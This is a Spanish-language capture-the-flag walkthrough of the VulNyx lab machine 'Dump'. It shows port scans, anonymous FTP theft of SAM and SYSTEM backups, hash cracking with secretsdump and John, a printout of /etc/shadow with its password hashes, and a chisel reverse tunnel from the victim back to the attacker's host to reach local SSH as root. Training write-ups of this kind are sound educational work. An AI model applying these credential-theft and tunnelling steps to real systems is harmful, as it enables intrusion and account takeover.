VulNyx - Dump

logo

  • Getting NTLM User Hashes - (Secretsdump)
  • Brute Force Sam Hashes - (John)
  • Brute Force Shadow Hash - (John)
  • Local Port Forwarding - (Chisel/Privesc)

Escaneo de puertos

❯ nmap -p- -sS --min-rate 5000 -vvv -n -Pn 192.168.1.14

PORT     STATE SERVICE        REASON
21/tcp   open  ftp            syn-ack ttl 64
80/tcp   open  http           syn-ack ttl 64
4200/tcp open  vrml-multi-use syn-ack ttl 64

Escaneo de servicios

❯ nmap -sVC -p 21,80,4200 -v 192.168.1.14

PORT     STATE SERVICE  VERSION
21/tcp   open  ftp      pyftpdlib 1.5.4
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_drwxrwxrwx   2 root     root         4096 Feb 09 10:46 .backup [NSE: writeable]
| ftp-syst: 
|   STAT: 
| FTP server status:
|  Connected to: 192.168.1.14:21
|  Waiting for username.
|  TYPE: ASCII; STRUcture: File; MODE: Stream
|  Data connection closed.
|_End of status.
80/tcp   open  http     Apache httpd 2.4.38 ((Debian))
|_http-server-header: Apache/2.4.38 (Debian)
|_http-title: Apache2 Debian Default Page: It works
| http-methods: 
|_  Supported Methods: GET POST OPTIONS HEAD
4200/tcp open  ssl/http ShellInABox
|_http-favicon: Unknown favicon MD5: 2AB43FA7D288987C3DBE15F0C53EE407
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=dump
| Issuer: commonName=dump
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-02-09T11:53:57
| Not valid after:  2044-02-04T11:53:57
| MD5:   21e7:bbd7:eb0f:fac8:78f0:9f8b:23fc:e562
|_SHA-1: 0429:9a36:da9b:d3af:6b52:a8c2:b132:be42:cf13:4425
| http-methods: 
|_  Supported Methods: GET POST OPTIONS HEAD
|_http-title: Shell In A Box

FTP TCP - 21

En el escaneo de servicios nmap me ha detectado el directorio .backup así que me conecto al servidor FTP.

❯ ftp 192.168.1.14
Connected to 192.168.1.14.
220 pyftpdlib 1.5.4 ready.
Name (192.168.1.14:noname): anonymous
331 Username ok, send password.
Password: 
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
229 Entering extended passive mode (|||39583|).
125 Data connection already open. Transfer starting.
drwxrwxrwx   2 root     root         4096 Feb 09 10:46 .backup
226 Transfer complete.

Entro en el directorio .backup, en su interior encuentro el archivo sam.bak y system.bak.

ftp> cd .backup
250 "/.backup" is the current directory.
ftp> ls
229 Entering extended passive mode (|||47413|).
125 Data connection already open. Transfer starting.
-rwxrwxrwx   1 root     root        24576 Feb 09 10:35 sam.bak
-rwxrwxrwx   1 root     root      3264512 Feb 09 10:36 system.bak

Uso la herramienta file para identificar el tipo de archivos.

fileBak

Con impacket-secretsdump me muestra todos los usuarios con sus hashes.

impacketSecrets

Obtengo las credenciales de dos usuarios.

johnHashes

En esta parte tengo que agradecer la ayuda del sr d4t4s3c ya que pasé por alto un pequeño detalle, es importante especificar el –format=NT sino te devolverá los resultados en mayúsculas.

SHELL IN A BOX - 4200

shellinaboxLogin

Me conecto como usuario dumper.

shellinaboxOk

Mediante netcat me conecto al sistema para trabajar más cómodo.

shellinaboxNC

Obtengo la shell.

ncShell

Enumero el sistema y veo que puedo leer el archivo shadow.

dumper@dump:~$ ls -la /etc/shadow
-rw-r--r-- 1 root shadow 974 feb  9 12:53 /etc/shadow

Lanzo un cat al archivo shadow para comprobar que puedo leerlo.

dumper@dump:/tmp$ cat /etc/shadow
root:$6$jzcdBmCLz0zF2.b/$6sok07AjDc3TN3oeI/NqrdZ6NSQly3ADW6lvs3z5q.5GDqsCypL8WtL7ARhzDcdYgukakXWeNbiIP7GyigCse/:19762:0:99999:7:::
daemon:*:18898:0:99999:7:::
bin:*:18898:0:99999:7:::
sys:*:18898:0:99999:7:::
sync:*:18898:0:99999:7:::
games:*:18898:0:99999:7:::
man:*:18898:0:99999:7:::
lp:*:18898:0:99999:7:::
mail:*:18898:0:99999:7:::
news:*:18898:0:99999:7:::
uucp:*:18898:0:99999:7:::
proxy:*:18898:0:99999:7:::
www-data:*:18898:0:99999:7:::
backup:*:18898:0:99999:7:::
list:*:18898:0:99999:7:::
irc:*:18898:0:99999:7:::
gnats:*:18898:0:99999:7:::
nobody:*:18898:0:99999:7:::
_apt:*:18898:0:99999:7:::
systemd-timesync:*:18898:0:99999:7:::
systemd-network:*:18898:0:99999:7:::
systemd-resolve:*:18898:0:99999:7:::
messagebus:*:18898:0:99999:7:::
sshd:*:18898:0:99999:7:::
systemd-coredump:!!:18898::::::
dumper:$6$8sDPsnEu5ZBa8bgE$EqxYjZuAYVmAqbusMGgx.NmwUwx0UcSVe2Z/YTRk1DqBOnxFxNbot7ktfzYxNALw8iDKXrkfV5.e54uTMgr371:19762:0:99999:7:::
shellinabox:*:19762:0:99999:7:::

En mi máquina creo el archivo passwd y el archivo shadow con el siguiente contenido.

passShadow

Con unshadow creo un fichero hash para intentar romperlo con john.

❯ unshadow passwd shadow > hashroot

Obtengo la contraseña de root.

johnshadow

El puerto 22 está abierto de forma local.

ssLtun

Si intento conectarme con el usuario root me da el siguiente error.

sshDenied

Descargo chisel a la máquina víctima, en mi máquina dejo a la escucha chisel en modo server.

❯ ./chisel server -p 9080 --reverse
2024/02/09 18:10:04 server: Reverse tunnelling enabled
2024/02/09 18:10:04 server: Fingerprint 4+ZQAqq3nwtDvtH5VDsuccWMRryL8ph5fPjzvnQ8uUw=
2024/02/09 18:10:04 server: Listening on http://0.0.0.0:9080

En la máquina victima lanzo chisel modo cliente.

dumper@dump:/tmp$ ./chisel client 192.168.1.20:9080 R:22:127.0.0.1:22

Una vez lanzado chisel veo que se ha establecido la conexión.

❯ ./chisel server -p 9080 --reverse
2024/02/09 18:10:04 server: Reverse tunnelling enabled
2024/02/09 18:10:04 server: Fingerprint 4+ZQAqq3nwtDvtH5VDsuccWMRryL8ph5fPjzvnQ8uUw=
2024/02/09 18:10:04 server: Listening on http://0.0.0.0:9080
2024/02/09 18:10:05 server: session#1: tun: proxy#R:22=>22: Listening

Obtengo el root de la siguiente forma.

root

Y aquí termina la máquina Dump.

Saludos!